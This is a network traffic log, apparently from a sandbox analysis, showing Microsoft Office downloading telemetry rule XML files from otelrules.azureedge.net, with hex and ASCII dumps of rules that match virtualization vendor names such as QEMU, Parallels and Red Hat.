2024-10-26 11:49:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49848	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:17 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 292613ff-b01e-0053-49f8-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114917Z-r197bdfb6b46kmj4701qkq602400000000x000000000970r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49849	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:18 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:18 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 04ff5eee-d01e-0049-7af2-24e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114918Z-15b8d89586fsx9lfqmgrbzpgmg0000000htg000000003vgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:18 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49850	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:18 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:18 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 923d4e42-a01e-003d-2e31-2798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114918Z-17c5cb586f67hfgj2durhqcxk800000000tg000000003fq9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:18 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49851	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:18 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:18 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114918Z-16849878b78j5kdg3dndgqw0vg00000003n000000000bhuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:18 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49852	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:18 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114918Z-16849878b787bfsh7zgp804my400000000w0000000000mdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:49:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49853	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:18 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:18 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114918Z-16849878b78smng4k6nq15r6s400000003mg00000000048d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:18 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49854	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:19 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:19 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114919Z-16849878b78q4pnrt955f8nkx80000000ak0000000007747 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:19 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49855	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:19 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114919Z-17c5cb586f6lxnvg801rcb3n8n00000001pg00000000764z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:49:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:19 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:19 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 97926059-b01e-0002-293b-261b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114919Z-r197bdfb6b46kmj4701qkq602400000000z0000000006fs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:19 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:19 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 1b3e59d2-d01e-0017-05f8-25b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114919Z-r197bdfb6b4hsj5bywyqk9r2xw0000000390000000008m7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:19 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114919Z-16849878b78qg9mlz11wgn0wcc00000001ng000000002nvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
